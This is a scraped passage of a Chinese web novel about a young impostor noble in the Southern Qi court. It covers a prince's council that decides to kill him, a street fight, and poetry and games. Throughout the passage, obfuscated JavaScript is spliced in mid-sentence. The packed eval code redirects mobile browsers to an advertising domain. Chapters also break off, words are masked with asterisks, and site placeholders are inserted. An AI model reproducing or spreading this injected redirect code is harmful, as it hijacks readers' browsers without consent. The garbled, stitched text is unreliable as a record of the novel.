RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15208081|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈启铭问道: “王爷既然能为绝台使之患而杀台使,如何不能为绝王扬之变而杀王扬?” 巴东王眼中闪过一丝焦躁: “本王杀台使为进取,杀王扬能得到什么?” 薛绍道:“王扬在学林士族间颇有声名,借蛮祸杀之,一可激荆州同仇敌忾之心;二可给朝廷施压,增加对蛮开战的理据,也让王爷的追击深入,变得更顺理成章。三可使王爷出兵平蛮时,兼收荆州士子之望。一举数得!” 巴东王愀然不乐,手指无意识地敲着刀鞘。 陶睿劝道: “王爷之前说与其被动,不如主动出击,掌握先手。杀一个王扬,既可绝后患,又能得利,王爷又何可疑?” 巴东王神色有些厌烦,右手抬起,指关节刮了几下额头。 孔长瑜看向刘超之,使了个眼色。 刘超之开口: “王爷,末将也以为王扬该杀。末将驻扎在新兴郡,连末将手下的小尉都听说王扬做的锦缎生意很大。太惹人眼了。” 巴东王眉头紧蹙,目光直直地盯着地上一处,喃喃道:“佳人难再得......” 李敬轩有一种感觉,虽然巴东王听了他和其他人的几番争论之后,才开口说杀台使,但其实杀台使的决心很快就下好了。现在杀一个王扬,却彷佛比杀台使还难以决断。 他上前道:“王爷,王扬虽有才学,但道不同,不相为谋。如果他早投王爷几年,王爷或许可以缓缓收服,使其归心。只是现在没有时间了。再者,当初把锦缎生意交给他的时候,这个人就已经是**了。” 巴东王低头不语。 李敬轩又道: “王爷也不必过于遗憾。王扬经史学问虽佳,如若治天下,可用此人以极名器,彰宏远;然若取天下,这样的人,用处不大。说句略轻狂的话,玩经弄艺,玄谈联句,敬轩自愧不如;但若论起兵略权变,坐运筹策,形机之势,经纬治道,上观天文以察时变,下观地理以抚山川......” 李敬轩说到这儿轻轻一笑:“王扬在我眼中,不过小儿一般。” 巴东王抬头,看向李敬轩。 李敬轩心中一惊,他本以为这又是一次加深王爷印象的机会,可他在王爷脸上,看到了一丝厌恶。 巴东王不是不信李敬轩的话。李敬轩的才能他是知道的。以亲疏论,李敬轩才是自己的人;以效用论,李敬轩的用处也更大。而这番话说的也确实有道理,若是坐天下,那王扬是很有用武之地的。可若取天下,五个王扬恐怕也比不上一个李敬轩。只是他也不知道为什么,听到李敬轩贬抑王扬,便没来由地厌恶。 巴东王沉默着,目光落到刀鞘上。想着那日与王扬打赌的情形,手掌抚上刀柄,拇指一推,刀刃滑出一寸,然后松手,任由刀刃缓缓滑回鞘中。紧接着,他的拇指再次发力,刀刃又被推了出来,如此反复...... 出刀,入鞘。 入鞘,出刀。 座中看着巴东王,无人再说话。只有刀鞘声在寂静的屋内回荡...... 良久,孔长瑜站起:“当断不断,反受其乱。王爷不愿做鱼肉,愿做刀俎。然刀俎无情,需以血祭。王扬必杀!” “臣附议!” “臣附议!” “下官附议!” “末将附议!” ...... 除了冯全祖,所有人都站起附议。 巴东王出刀入鞘的速度越来越快,突然铮的一声,巴东王拔出刀来,往地上一扔,不耐烦道:“杀吧杀吧!” 然后嚯的一下站起,在众人错愕的目光中,一脚踢翻了桌案,低吼道: “操!” —————— 注:**巴东王所谓“君臣一场”不是僭越言论,而是当时的“君臣”一词并非只限于天子与臣属之间,在府署的长官与僚属间,也存在君臣关系。赵翼《廿二史札记》言: “盖自汉制,三公得自置吏,刺史得置从事,二千石得辟功曹,掾吏不由尚书选授(即选**不独在中 第229章 信不信 “一碗凉茶。” 如意楼对面的茶摊上,一个冷俏少女坐了下来,青衫临风,翠玦映日,剑往粗木桌上一放,更添几分利落英气。 摊主瞄了眼那块翠玉玦,赶紧应了一声,放下手头活计,忙不迭地给陈青珊倒茶送去,殷勤道: “新酿的凉茶!姑娘慢用!咱茶摊虽小,可小食都是自家精心做的。有刚蒸好的糯米糍、桂花饼子、榆子酱拌木耳、拌藕片,还有新卤的鸭货,味儿不比大酒楼差了,好多老主顾跑大老远就是为了吃这口儿......” “不用。”陈青珊不为所动,一双清媚凤眸望向如意楼门口。 摊主只好走开,心中甚觉遗憾,见陈青珊时不时地看向对面酒楼,似是在等人。心思一动,掀开一口老锅的锅盖,热气腾腾中,肉香四溢。 摊主嚯的一声,满脸惊喜,然后自顾自地念叨: “今儿驴肉烀得真好!这要就点糙子酿,回家几口人一吃,绝了!不行,我得留点儿带回去......” 陈青珊眨眨眼,看向锅里,问道:“你这儿驴肉做得好吃吗?” “好吃啊!我给姑娘盛一碟,姑娘尝尝看,不香不要钱!” “不用尝了,你给我装......两斤.....我带走!” “好嘞!” 摊主欢喜地抄起荷叶,麻利地铺在案板上,并且破天荒地没有兜售他妻子酿的酒。这姑娘如此好看,又带着这样的玉,她要等的人,是不会喝这种酒的。 陈青珊在这儿买驴肉,那边王扬已出了如意楼。 他今天来这儿是告诉萧宝月掉色袄的事已经办妥了。不过,鉴于两人在“订席面”字义的理解上,存在“古今相隔的文化差异与时空差异”,本着求同存异与充分包容的原则,王扬并没有进庭院,而是把准备好的信交给门口的护卫,让他转交,然后便溜之大吉。 ....... “娘子,王公子出来了!” 如意楼斜对面的酒楼雅间内,阳光透过轻薄的素纱帘,柔和地洒在小凝身上。小凝正在向外眺望,发现王扬出来之后赶紧报信。 谢星涵临窗而坐,星眸低垂,看也不向窗外看上一眼,只是专注地夹菜品尝,筷尖落在这家酒楼的招牌菜——“蜜纯煎鱼”上,没有一丝声响。 小凝吃惊道:“诶?那后面好像是......心一???!!!” 谢星涵双筷一顿,刚刚夹起的白嫩鱼肉,掉了。 ...... 在谢星涵隔壁的房间内,光线被几重帷幔过滤得昏昏暗暗,一个戴眼罩的黑衣男子隐在窗边,低声道:“大人,他出来了。” 王泰正举着羹匙,舀猪蹄羹喝,听到王扬出来了,动作微滞,冷哼一声:“这个小畜生,出来得好快......” 黑衣男子道:“是,往日里至少还要过半个时辰。并且以前是每四天来一次,最近是越来越没定准了。” 王泰羹匙一按,连皮带筋地切下一块猪蹄来,然后送入嘴中,嚼烂。 ...... “王扬!” 王扬刚出如意楼,正要穿过街道去找陈青珊,突然听到后面有人喊他,回头看去,见心一背着手,蹦蹦跳跳的,跟个采蘑菇的小姑娘似的,笑容天真烂漫: “你怎么不进去啊?” 王扬一边笑着挥手道别,一边脚步不停:“我今天有点急事,等下回再来哈!” 心一笑得更灿烂了,紧跟王扬:“别走啊,我还要向你请教弧幽指呢!” 王扬脚底抹油,加快速度,口中道:“这个不太好办,弧幽指是我家传绝技,一向不传外人的。” 心一嘻嘻一笑:“那我就更想学了!” 笑声未落,身影已如一只小灵狐般疾窜而出! 正要抓住王扬后衣领时,只听嗖的一声, 一只茶碗从斜刺里飞来,直逼心一额头! 心一快速下腰,小手撑地,一个侧翻避过茶碗, 同时借力前扑,去抓王扬。 指尖即将触及王扬衣摆的瞬间,一柄明晃晃的长剑横空刺来,剑光如雪! 心一旋身而转,手向头上一抹,摘下一根银簪,剑锋擦着她腰肢而过,带起一阵凉风。 银簪在心一手中化作一道银光,直划陈青珊小腹! 陈青珊疾退,险险避过这一击! 尚未来得及回剑**,心一出手如电,银簪横划竖刺,甩出点点寒星,一连逼退陈青珊四步,险象环生! 待到第五步时,陈青珊侧身一闪,长腿如鞭抡出,足下带起一片尘土,方圆之内,尽为横扫! 心一身形骤然一缩,如飞鼠般向后弹开,稳住身形后,小手拍了拍胸脯,睁大眼睛道:“好长的腿啊!” 说完眼一眯,目光凌厉,银簪倒握,压于腕下,如同**。正要再上时,王扬一脸沉重地走了出来,叹道: “心一,不要再打了,你**了,若再动武,全身经脉会断的。” 然后转向陈青珊道:“不是说了吗?非到必要的时刻,不能用毒粉。” 虽然此时街上行人不多,但心一和陈青珊刚刚交手,已经吸引了一批人试图靠近看热闹,此时一听王扬说毒粉,又赶紧避得远远的。 陈青珊根本没反应过来王扬是什么意思,她的所有精神都集中在这个危险的小姑娘身上。剑尖紧紧对着心一,全身紧绷,不敢有丝毫放松。 心一虎牙一咬:“你个大骗子!还想骗我!根本就没有什么弧幽指!” 王扬神色从容,双指如剑,在空中随意一划,然后在阳光下仔细看了看,神色凝重: “果然是‘倭狐变’,小珊,你不该用这么毒的毒粉的。” 心一惊疑不定,看向陈青珊。 陈青珊不知该怎么接,只好点点头:“我.....我太着急了......所以......就......” 王扬怕陈青珊露馅,打断道:“没事,还好,她**不深,还有得救。” 心一怒道;“我没有**!你别再骗人了!” 王扬看着心一的眼睛,神色极为严肃: “我不知道你读没读过《东瀛毒经》这卷书。如果你读过,那就应该知道,此书开篇第一句就是:四大奇毒,狐变居首。狐种遗七,倭国传久。毒威赫赫,冠绝诸莠。凡身沾此,医家束手。慎之避之,方保无忧。 ‘倭狐变’乃倭国剧毒,又名‘狐变之毒’,乃是由倭国七类狐种的唾液炼制而成。此毒无色无味,侵体极快。中者三息之后,掌心微麻微痒微热——” 心一下意识地低头看向自己的手掌,冷哼一声,抬头瞪向王扬,张牙舞爪: “你再骗人!再骗人!!我掌心不麻不痒也不热!!!” 王扬看着心一,目光微带怜悯: “你**已过三十四息,真的就一点都感觉不到吗?” 心一本待不信,可听王扬说得煞有介事,又见王扬目光盯着她的手掌看,面容沉肃忧忡,不由得有些不安。马上抬起手掌,用心感觉起来。 这一感觉不要紧,似乎真的有点麻痒!还发热!越感觉越麻痒!越热! 王扬目光如炬,眉头紧锁: “‘我胡编毒’三息**掌心,五息**眉心!我观你印堂有一丝黑气萦绕,想必这毒已经开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈青珊见状,开始紧张起来,握紧剑柄,要上前保护王扬。 王扬伸手挡住陈青珊,看着心一道:“好,我的话都是假的。” 心一一愣。 “你没有**,掌心没有酸麻,眉心没有异样,印堂也没有黑气萦绕。你不会在今晚筋脉尽断,也不会在三天之后七窍流血而死。你快来继续动武吧,越动武,毒发越慢!” 心一瞪大眼睛,脑子里画圈。 少主说王扬说的都是假话。 那王扬说他的话是假的,那就意味着......他的话是真的! 他说心一没有**,那就意味着.......心一真的**了! 完了!! 还有少主的话作证!这下不得不信了!!! 箴言合魔鬼,咒语助邪祟。 心一, 城破...... —————— 注:《齐民要术·作酱法》:“作榆子酱法:治榆子人一升,捣末,筛之。清酒一升,酱五升,合和。一月可食之。” 《齐民要术·??(原字是左月右正,输入法打不出,用??代)、腤、煎、消法》:“蜜纯煎鱼法:用鲫鱼,治腹中,不鳞。苦酒、蜜,中半,和盐渍鱼;一炊久,漉出。膏油熬之,令赤。” 《齐民要术·羹臛法》:“作猪蹄酸羹一斛法:猪蹄三具,煮令烂,擘去大骨。乃下葱、豉汁、苦酒、盐,口调其味。旧法用饧六斤,今除也。” 第230章 蛾眉频蹙意如何 唇沾膏脂尽,碗落蹄羹残。 王泰餍足地放下碗,感慨道: “‘弃捐勿复道,努力加餐饭。’这人呐,什么时候都得吃好点,吃好了,心情就好了。雨元,你真的不吃点?” 戴眼罩的黑衣男子从楼下收回目光,拱手道:“谢大人,我不饿。” “这不是饿不饿的事儿,算了,你是不会享福的......你看出什么名堂了?” 黑衣男子道:“两个都是高手,高的腿法很好,剑术不算高明,但也过得去,看她的身手,似乎有军中的路数......” 王泰好奇道:“你还懂军中的路数?” 这一点无前没看出来,因为无前纯粹是江湖人,那这个雨元...... 黑衣男子沉默不答,王泰也没有继续问,转而道:“另一个呢?” 男子摇头:“看不出,有点像蜀地邛都夷的贴身短打,但又不一样,她练的是**技。” “练武练的不都是**技吗?” “她练的是一招必杀,招招致命,没有多余的动作。只要让她贴身,**只在眨眼之间。方才她没动杀心,又不占先手,但那个高的还是落了下风。” “和你比怎么样?”王泰突然问。 “没交手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15208083|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不好。” “如意楼的掌柜姓赵名全,是本地人,底子很干净,什么问题都查不出来。但越查不出越可疑。我本想让你去探一探,但有那个小姑娘在的话......” 王泰沉吟。 黑衣男子道:“没关系,只要不被她缠住,脱身不难。” 王泰想了想说: “不行,独木难支。无前就是一个人去才中了暗算。你要多带些好手,分成几队,要有接应。这次去,只是摸一下底。能不动手,尽量就不动手。如果被发现,就装做窃贼,随便偷一两样东西就走,不要闹出大动静,更不要**。无前十有八 第231章 对局 午后风帘,闲斋小户,日影斜下窗栊。 桃酥果酒,还与星涵同。 言笑慵整纤手,玉指破、橙橘香浓。 罗团扇,轻摇香缕,约略扫眉峰。 谢星涵摇扇道: “公子这话说的是,曹子建不得帝位,魏制鉴于汉弊,待宗室又苛苦,世人怜之,故每抬曹植,贬抑曹丕。其实子恒诗文,自有子建未到处。 其丽辞巧句虽少,然情深厚意,最能动人。桓子野每闻清歌,辄唤奈何。我先**石公说‘子野可谓一往有深情’。我以为,文帝诗文亦是如此。 ‘谓百年己分,可长共相保;何图数年之间,零落略尽,言之伤心。’ ‘年行已长大,所怀万端,时有所虑,至通夜不瞑,志意何时复类昔日?已成老翁,但未白头耳。’ 此等句非深情者不能道。我每读《燕歌行》,皆觉其婉转悱恻,缱绻低徊,有不能自已者。句末用韵,一如女子嗟叹之音。然调子每抑,声气总掩,读来常有收束之感,似不能长......” 谢星涵说到最后,微微皱眉,眸中现出困惑不定之色。 王扬咽下桃酥,拍拍手上碎屑,看着谢星涵,感慨道: “你是会读的。我们平时说话有所谓‘长叹’一词,但叹其实是最不易长的。比如:唉——” 王扬拖长声音,模仿叹息的语气,接着说道: “这唉字一叹出口,气息便呈下行之势,气渐微,声渐弱,很快便消散于无形。《燕歌行》句句用韵,韵脚连密,恰似叹息。每到一处韵脚,便如叹声作结,这就使本就低沉的调子愈发受压,声气也随之掩抑。 凡句句用韵之体,其情易蕴藉深沉,其势则每多顿挫,故难成慷慨激昂之调。此《燕歌行》之韵体特征,即诗中所谓‘短歌微吟不能长’也。虽不能长,然声将隐而情不绝,语若断而意相寻,这又是此体的长处了。” 谢星涵恍然而悟,欣喜地一拍榻上小案: “原来如此!!公子还说我会读,我看公子才是真正会读的!王公子真该来我们覆舟雅集做讲评,免得我们这些人坐井观天!现在回想起来,怪没趣的!” 王扬笑着摇手: “个人浅见,哪能做什么讲评?” 谢星涵饮了口果酒,状似随口道: “讲评一次,酬仪少者万钱,多者数万。” 王扬咳了一声: “嗯......其实虽然是浅见,但也不妨一起探讨一下。” 谢星涵暗笑不已,眸光潋滟: “那就先请公子点评一下,小女子之前说的文帝诗文一往而有深情,我看公子好像颇不以为然呢!” “哪有!娘子说得很到位呀! 自古诗文佳者,莫出于三:以技胜者、以情胜者、情技兼胜者。 技胜者常自苦吟,而情胜者多由快咏。 然苦吟易工,情深难赋。 文帝写情,多率直浅语,少雕篆,成则缘情绮靡,败则质胜于文,鄙质如巷语,俗话说就是写得糙了点,难免于世谤。” 谢星涵听得星眸闪亮,拍手道: “说得好!公子此言,可谓得了诗家三昧!那公子还记不得记得,魏文帝有首‘质胜于文’,出言‘如巷语’的诗,前半段说的是杀牛吃酒,甚是快意。” 王扬饮尽杯中果酒,手指敲桌,吟道: “何尝快,独无忧? 但当饮醇酒,炙肥牛......” 谢星涵浅饮一小口酒,学着王扬的动作表情,接道: “长兄为二千石,中兄被貂裘! 小弟虽无官爵, 鞍马馺馺,往来王侯长者游!” 王扬笑着一挥手,豪声道: “但当在王侯殿上,快独樗蒲六博,坐对弹棋!” 谢星涵伸出一根俏白的手指,在空中划了两下: “男儿居世,各当努力——” 吟到这儿手指一顿,侧目看向王扬,眼波柔柔亮亮,俏皮之中,又带三分拷问: “公子近日努力否?弹棋练得如何了?” 弹棋是当时流行的一种“桌游”,两人对局,棋子如兵,按阵排列,各子分贵贱上下,分值高低不同。棋盘中心隆起,有如山岭。对局者需以手弹棋子,越山岭将对方棋子击出盘外,当然,在这个过程中,自己的棋也可能直接弹出界外。 双方你来我往,棋子纷飞,最后棋盘上无棋者判负,胜者要根据盘上所余棋子,计算总分。 一个月前,谢星涵在王扬家偶然发现乐小胖送给王扬的弹棋,便要与王扬对局,但当时王扬还不会下,谢星涵便教了王扬规则。 可王扬一来没有时间,二来对弹棋兴趣也不大,所以自从那次之后,便再也没碰过弹棋,此时听谢星涵问起,苦笑道:“惭愧,自从你教我之后,我还没练过。” “没事,弹棋讲天赋,有的人不练也照样高明。今日无事,咱们对弹一局?” “那就请娘子多多指教了。” 两人摆上棋盘,王扬又问了几处弄不太清楚的规则,然后才开始对战。 再然后, 王扬赢了。 谢星涵表情震惊,难以置信地问道: “王公子你以前真的没学过吗?你不会骗我吧!” “没有没有,真的没学过!” 王扬有点惊喜! 这弹棋不难啊!有点意思! “那你真的厉害,属于不学而通的天才!” 谢星涵双手捂嘴,目光极是敬佩。 王扬有些不好意思道:“运气,运气。” 谢星涵神色认真: “绝对不是运气!我弹棋其实算是很可以的了,你一上来就能赢我,相当了不起!以前魏文帝擅弹棋,说当时洛阳有三大弹棋高手,马合乡侯、东方世安,还有一个张公子,自云‘常恨不得与彼数子者对’,我不知道张公子是谁,但我知道要不了几年,咱们大齐弹棋高手之中,就得有‘王公子’了!” 谢星涵各种少女崇拜,再三询问王扬到底学没学过弹棋,又复盘王扬之前最后那一弹,说王扬如果没学过,根本不可能弹出那种高妙的“长斜击法”。总之是星眸熠熠,赞不绝口,给王扬脸都夸红了。 王扬道:“再来再来,我看看这次还能不能侥幸了!” 他仿佛重新体验到了小学时刚学会象棋,然后在同学中大杀四方的快感,顿时起了兴致,准备和谢星涵再对一局。 谢星涵笑道:“好啊,再来一局,不过光玩没意思,咱们赌点什么吧。” 王扬边摆棋边问道:“赌什么?” 谢星涵装模作样地想了一番,随口说道: “其实也没什么好赌的,就赌问问题吧。赢一局问一个问题,对方必须作答,且不能说谎,否则便永远没有知心朋友!” 王扬对谢星涵是基本上不设防的,可谢星涵这么一说,立即便引起了他的警觉。 自古以来,赌局设套,都是让你先赢后输,合着我不是弹棋高手,你是设套高手啊! 王扬笑问道:“这是真心话大冒险?” “啊?那是什么?”谢星涵茫然。 王扬给谢星涵简单讲了一下。 谢星涵道:“对,差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15208084|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过咱们今天就玩真心话,改天再玩大冒险。” 小涵啊,你这指向性也太明显了...... 王扬道:“弹棋一局时间太长,那才能问几个问题?不如玩石头剪刀布。” 谢星涵一愣:“什么是石头剪刀布?” 王扬给谢星涵讲了一下规则,说道: “这一场时间多快啊!咱们猜快拳,连猜十场,十场算一局,赢过五场者为胜。咱们可以多玩几局,胜一局便问对方一个问题。” 谢星涵暗想,如果强烈要求玩弹棋,王扬说不定生疑,自己虽然夸了他半天,可他毕竟总共才赢了一次,信心不足。要是赌赛,未必肯玩。这个石头剪刀布没什么技巧,全靠运气,一局时间又快,我最多一盏茶的时间,便能问出答案。 “好!”谢星涵战意勃发! 王扬看着谢星涵准备出拳,宛如大灰狼看到了小白兔。 他穿越前有四大绝技: 一是气垫球,也叫桌面冰球,只要上场,罕有败绩。 二是一种叫“吹牛”的扑克牌游戏,在四人局中,一般都是第一个赢,鲜有例外。连赢几局之后,通常情况就会被所有人**,不过这个游戏人多没用,有时越**,他赢得便越快。印象最深的是一次打赌,几副牌混在一起,十几个人一起玩,**他一个,他也逸兴豪发,放话说只要他第二个走,就算输。 结果他输了! 后来同局者承认,有好几个人联手藏牌!!!!! 三是记忆力,据他妈说,他还不会说话的时候,听她读童话书,只要听过一遍,再听第二遍时,她便必须读得和上次一模一样,但凡要落个“的”字,王扬便会哭闹不止。上幼儿园时老师给大家放寓言故事,然后让小朋友复述,轮到他时原样背诵,一字不错,震惊老师。 四就是猜拳。这个绝技他经常主动亮出来引战,然后大杀一片。 他善于在猜拳过程中抓出对手拳路中的“惯性”,或者说规律,这个规律有的单一,有的复杂,不过相比于“规律”,他还是喜欢称之为“惯性”,只要抓住对方的惯性节奏,基本上就能一赢到底,即便是连赢十局的情况都不算稀奇。 这个惯性大部分人都有,但少部分老油条很难被抓,尤其是和他玩过几局吃亏之后,能迅速反思并打破自己规律的人。 有的人即使意识到,也打破不了。有的人虽然能暂时打破,但很快又会回到惯性上。但有那种意志强悍,并能一直保持混乱节奏到底的人! 遇到这种难缠的对手,要么就是改慢拳,用心理战术,告诉对方自己要出石头,一局局套;要是还是继续快拳,那输赢就纯靠运气了。 这样让王扬把输赢纯粹交给运气的对手,王扬遇到过三个,其余大部分人都败在王扬的绝技之下。只是这个绝技有限定条件,就是王扬需要一个过程来抓惯性,不能一次定胜负。并且双方出拳速度要快,要连贯。越快越连贯,对方的思考时间也就越少,越容易进入惯性之中。 所以王扬从来和人玩都是以十场胜负为一局,并且十场是每一场都要有胜负,平手(比如都出剪子)不算一场。 故而当谢星涵一答应十场为一局的时候,王扬便已经开始准备自己要问的问题了。 两人一盏茶内,算上问问题和扭扭捏捏回答问题以及打嘴仗的时间,一共玩了四局。 谢星涵四局全败,连乳名都告诉王扬了...... —————— 注:《梦溪笔谈·技艺》“白乐天诗:‘弹棋局上事,最妙是长斜。’长斜谓抹角斜弹,一发过半局,今谱中具有此法。” 第232章 作囚 灰秃秃的山,灰秃秃的水,灰突突的石头旁,蹲着一个灰突突的人,正用树枝,在泥地上写字。 柳憕不是不想跑,现在身边没人,看似是很好的逃跑机会,更何况这段时间他已经摸清了四周路线,可正因为他摸清了,他才更没法跑。 此处往西,淌过这片死水沟,是一大片广袤森林,里面有狼还有熊,蛮子常去打猎,就算他不被野兽吃了,就算他运气好,没有迷路,最后还是得被蛮人抓回来。因为在野林里,他绝对跑不过那群蛮子。 东是蛮寨,北边有人把守,南面是峭壁,所以除非他有本事攀上那座光滑的峭壁,否则根本逃不出去。 其实刚开始的时候,对他的看守还是很严密的。可后来蛮人发现没什么必要,并且在他两次逃跑未遂,惨遭吊打之后,如今已没人再监视他了。 可正如之前分析的那样,他还是什么都做不了。 准确来说,他还是做了几件事的,比如摸清了路线;再比如偷偷磨了一个骨锥,就埋在他那张草垫子下面。他试了一下,扎人还挺疼的;再比如他和族里几个重要人物打通了关系,但这一节他不想提。 主要是他现在什么都干不了,他只能写字。 “天将降大任于斯人也,必先苦其心志,劳其筋骨.......” 柳憕写到筋骨两个字时,手在发抖,视线渐渐不清晰起来。 “吓,心肠黑,又作文乎!” 三个男蛮不知什么时候出现在一旁。 柳憕赶紧用手擦干眼泪,低头继续写字,对三人的话毫无反应。 “你否懂,那为诗!蒙女乘驹心肠黑用的。心肠黑,尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15231583|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 否去蒙女乘驹,何在这?” “心肠黑累,蒙女四人乘驹,过甚我等打猎累!” “心肠黑蒙女乘驹中且要言文诗,累甚!” 三蛮哈哈大笑。 柳憕涨红了脸,只作听不见。 “心肠黑,何否言君子舍义取生?言吃胆卧腥?言那大串套为我等听乎!” 这种场面已经不知发生过多少次了,刚开始柳憕都是忍气吞声,后来实在忍不住了就开口争辩起来,同时也是为自己打气,说些“士不可以不弘毅”、“天将与之,必先苦之”之类的话,然后蛮人就哄笑起来,乐得龇牙咧嘴。 此后便一发不可收拾,常有人来奚落柳憕,为的就是听柳憕说一段叽里呱啦的古文,以此取乐。每次成功逗出柳憕飙古文的时候,蛮子们就像看了场滑稽戏,还是戏中最高 第233章 所谓家风 王扬知道柳惔说的叔父是谁。刚穿越那阵儿扯大旗作虎皮,提了几次他二叔是散骑侍郎,不知怎么就传开了,后来通过萧宝月才知道,朝廷里还真有姓王的散骑侍郎!他也很快猜到了柳惔的来意,这是吹牛比到了该上税的时候了。 王扬没有掩饰自己的手抖,而是很自然地把鸭蛋放到碟中,边擦手边看向柳惔,疑惑问道: “我哪位叔父?” 柳惔目光讶异:“就是王散骑啊。诏书上个月已经下了,诏令叔持节赴蛮宣旨,专督汶阳蛮事。令叔早已启程,算算时间,这几天就到。你不知道?” 王扬摇头:“叔父很少和我谈公事。” 柳惔沉默不语。 王扬知道,柳惔是有些拿不准自己说的到底是真话,还是因为不想沾边所以找的托辞。 他看着柳惔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243956|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真诚说 ******后面还有3353个字内容被隐藏了****** ******后面还有3353个字内容被隐藏了****** loadBookInfo(17, 18188, 26222522,''关于南朝贵公子是我冒充的这回事''); 第234章 台使来 “......一般寒门窘族,好历外郡;世胄豪家,贪做京官。 我不一样,京中风物虽好,但看了几十年,也看够了,就喜欢出去走走。 之前会稽太守出缺,我跑了几次吏部,想出守会稽,可惜最后没成。 京中有些人鸱得腐鼠,说我王向谦是因为会稽大郡,历郡者有事可督浙东五郡,与方镇等,所以才谋会稽以望得州......”(以会稽做跳板谋求州刺史) 王揖摇着羽扇,轻笑道: “殊不知我真正望的是会稽的名山名水! 东山清风,兰亭曲水,纵有刺史金印如斗,亦不换焉! 这次我过新亭,经牛渚,逆流而上芜湖、姑孰,见桓温移镇处; 走寻阳,游赤壁、乌林,望江山共色,烽火川明; 至夏口,临黄鹄;入巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253768|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陵,泛洞庭... ******后面还有3308个字内容被隐藏了****** ******后面还有3308个字内容被隐藏了****** loadBookInfo(17, 18188, 26422580,''关于南朝贵公子是我冒充的这回事''); 第235章 言非吹也 王扬不为所动,坚辞道: “王爷、叔父厚爱,扬铭感五内。只是扬之前答应了刘先生,不能荒废学业,同时撰写《尚书禹贡篇疏证》。所谓‘君子务本,本立而道生’。又谓‘君子思不出其位’,扬如今为郡学学子,本业当在问学,岂有荒废学问,急求功名之理?” 他略一停顿,目光恳切地望向王揖: “况且叔父此行,乃奉王命出使,扬若随行,恐有挟私干谒之嫌。扬不敢辱叔父之名,又乱朝廷之矩。” 王扬又看向巴东王: “况且——” 巴东王可不想听王扬继续说下去了。这小子一张嘴,能活**,肉白骨,再让他继续,指不定说出什么事儿来。当即高声打断道: “之颜,你不要推辞了!本王和你说实话,令叔使蛮,依例荆州府要派人随行参赞的。这个人选本王已经斟酌很久了。此次南蛮入侵,柳憕被劫,本王有失察之过,不管王散骑怎么上报,朝廷必降责于本王。所以你就当为本王分忧,应荆州府参赞之选,随行出使,为本王立上一功。再说柳憕是和你一起时被劫的,你也有责任将其接回。” 巴东王不容王扬再拒绝,直接严声道: “王扬听令!本王现命你白衣领职,参赞出使!即日准备行装,六日后随台使赴蛮!” 王扬端坐不动。 